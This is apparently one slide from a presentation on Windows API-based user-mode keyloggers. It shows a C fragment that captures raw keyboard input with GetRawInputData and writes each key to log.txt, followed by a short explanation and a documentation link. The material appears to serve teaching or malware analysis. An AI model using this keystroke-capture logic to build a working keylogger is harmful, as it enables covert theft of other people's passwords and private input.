Slide 17
Slide 17 text
Four Common Types of Windows
API-based User-mode Keyloggers
Keylogger using Raw Input Model
case WM_INPUT:
GetRawInputData((HRAWINPUT)lParam, RID_INPUT, NULL, &dwSize, sizeof(RAWINPUTHEADER));
buffer = (RAWINPUT*)HeapAlloc(GetProcessHeap(), 0, dwSize);
if (GetRawInputData((HRAWINPUT)lParam, RID_INPUT, buffer, &dwSize, sizeof(RAWINPUTHEADER))){
if (buffer->header.dwType == RIM_TYPEKEYBOARD){
SaveTheKey(buffer, "log.txt");
}
}
HeapFree(GetProcessHeap(), 0, buffer);
break;
default:
return DefWindowProc(hWnd, uMessage, wParam, lParam);
}
return 0;
}
Example Code 2/2
GetRawInputData API retrieves raw
input from the registered device
GetRawInputData API https://learn.microsoft.com/en-us/windows/win32/api/winuser/nf-winuser-getrawinputdata